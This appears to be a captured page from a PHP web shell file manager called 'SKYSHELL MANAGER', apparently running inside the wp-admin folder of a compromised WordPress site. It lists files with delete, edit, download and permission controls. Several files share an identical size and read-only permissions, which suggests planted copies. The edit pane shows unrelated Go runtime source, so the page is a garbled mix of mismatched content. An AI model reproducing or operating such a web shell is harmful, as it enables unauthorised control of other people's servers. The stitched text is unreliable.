📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: complex.go
// Copyright 2010 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package runtime // inf2one returns a signed 1 if f is an infinity and a signed 0 otherwise. // The sign of the result is the sign of f. func inf2one(f float64) float64 { g := 0.0 if isInf(f) { g = 1.0 } return copysign(g, f) } func complex128div(n complex128, m complex128) complex128 { var e, f float64 // complex(e, f) = n/m // Algorithm for robust complex division as described in // Robert L. Smith: Algorithm 116: Complex division. Commun. ACM 5(8): 435 (1962). if abs(real(m)) >= abs(imag(m)) { ratio := imag(m) / real(m) denom := real(m) + ratio*imag(m) e = (real(n) + imag(n)*ratio) / denom f = (imag(n) - real(n)*ratio) / denom } else { ratio := real(m) / imag(m) denom := imag(m) + ratio*real(m) e = (real(n)*ratio + imag(n)) / denom f = (imag(n)*ratio - real(n)) / denom } if isNaN(e) && isNaN(f) { // Correct final result to infinities and zeros if applicable. // Matches C99: ISO/IEC 9899:1999 - G.5.1 Multiplicative operators. a, b := real(n), imag(n) c, d := real(m), imag(m) switch { case m == 0 && (!isNaN(a) || !isNaN(b)): e = copysign(inf, c) * a f = copysign(inf, c) * b case (isInf(a) || isInf(b)) && isFinite(c) && isFinite(d): a = inf2one(a) b = inf2one(b) e = inf * (a*c + b*d) f = inf * (b*c - a*d) case (isInf(c) || isInf(d)) && isFinite(a) && isFinite(b): c = inf2one(c) d = inf2one(d) e = 0 * (a*c + b*d) f = 0 * (b*c - a*d) } } return complex(e, f) }
Save